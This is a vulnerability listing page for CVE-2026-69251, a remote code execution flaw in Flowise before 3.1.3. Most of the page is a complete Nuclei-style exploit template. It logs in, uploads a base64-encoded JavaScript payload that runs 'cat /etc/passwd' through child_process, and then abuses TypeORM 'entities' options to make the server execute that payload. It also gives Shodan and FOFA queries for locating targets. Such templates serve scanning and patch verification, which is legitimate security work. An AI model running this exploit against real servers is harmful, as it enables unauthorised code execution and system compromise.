CVE-2026-69251: Flowise < 3.1.3 - Remote Code Execution

2026-08-16 Flowise PoC Public

Description

Flowise prior to 3.1.3 contains a remote code execution vulnerability caused by allowing authenticated users to set arbitrary TypeORM DataSource options including entities that load local JavaScript files, letting authenticated users execute arbitrary code on the server, exploit requires user authentication.

PoC

id: CVE-2026-69251

info:
  name: Flowise < 3.1.3 - Remote Code Execution
  author: 1dayexploit
  severity: critical
  description: |
    Flowise prior to 3.1.3 contains a remote code execution vulnerability caused by allowing authenticated users to set arbitrary TypeORM DataSource options including entities that load local JavaScript files, letting authenticated users execute arbitrary code on the server, exploit requires user authentication.
  impact: |
    Authenticated users can execute arbitrary code on the server, potentially leading to full system compromise.
  remediation: |
    Update to version 3.1.3 or later.
  reference:
    - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-g32j-mmxr-gfq5
    - https://github.com/FlowiseAI/Flowise/commit/d07186844263bad057008863037466aff7c3390f
    - https://nvd.nist.gov/vuln/detail/CVE-2026-69251
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
    cvss-score: 9.0
    cve-id: CVE-2026-69251
    epss-score: 0.03269
    epss-percentile: 0.87768
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 5
    vendor: flowiseai
    product: flowise
    shodan-query: http.title:"Flowise"
    fofa-query: title="Flowise"
  tags: cve,cve2026,flowise,rce,authenticated,typeorm,intrusive

variables:
  fname: "{{to_lower(rand_text_alpha(8))}}"
  payload: "throw new Error(require('child_process').execSync('cat /etc/passwd').toString())"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        POST /api/v1/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{username}}","password":"{{password}}"}

    skip-variables-check: true
    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "activeOrganizationId", "Unauthorized Access")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/v1/document-store/store HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-request-from: internal

        {"name":"poc-{{fname}}","description":"CVE-2026-69251"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "loaders")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: storeid
        part: body
        group: 1
        regex:
          - '"id":"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"'
        internal: true

  - raw:
      - |
        POST /api/v1/document-store/loader/save HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-request-from: internal

        {"storeId":"{{storeid}}","loaderId":"fileLoader","loaderName":"poc","splitterId":"","loaderConfig":{"file":"data:application/javascript;base64,{{base64(payload)}},filename:{{fname}}.js","usage":"perPage"}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

    extractors:
      - type: regex
        name: loaderid
        part: body
        group: 1
        regex:
          - '"id":"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"'
        internal: true

  - raw:
      - |
        POST /api/v1/document-store/loader/process/{{loaderid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-request-from: internal

        {"id":"{{loaderid}}","storeId":"{{storeid}}","loaderId":"fileLoader","loaderName":"poc","splitterId":"","loaderConfig":{"file":"data:application/javascript;base64,{{base64(payload)}},filename:{{fname}}.js","usage":"perPage"}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        POST /api/v1/document-store/vectorstore/insert HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-request-from: internal

        {"storeId":"{{storeid}}","recordManagerName":"SQLiteRecordManager","recordManagerConfig":{"tableName":"poc","cleanup":"none","sourceIdKey":"source","additionalConfig":"{\"entities\":[\"/root/.flowise/storage/**/{{fname}}.js\",\"/home/node/.flowise/storage/**/{{fname}}.js\",\"/app/.flowise/storage/**/{{fname}}.js\",\"/data/.flowise/storage/**/{{fname}}.js\"]}"},"embeddingName":"openAIEmbeddings","embeddingConfig":{"modelName":"text-embedding-ada-002"},"vectorStoreName":"weaviate","vectorStoreConfig":{"weaviateScheme":"http","weaviateHost":"127.0.0.1:8080","weaviateIndex":"Poc","weaviateTextKey":"text"}}

    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body)
          - '!contains(body, "Disallowed TypeORM DataSource option")'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - 'Error: (root:.*?)",\"stack'
# digest: 4a0a0047304502200afffd9f82f31dd6b587fab861a8c0f8c312d5cd5a30463f1dfe6d4f46119f0f022100ad38c9257cb33f45e2d916073a5f5f96ede72deff83458933c8e87a69c22b66a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities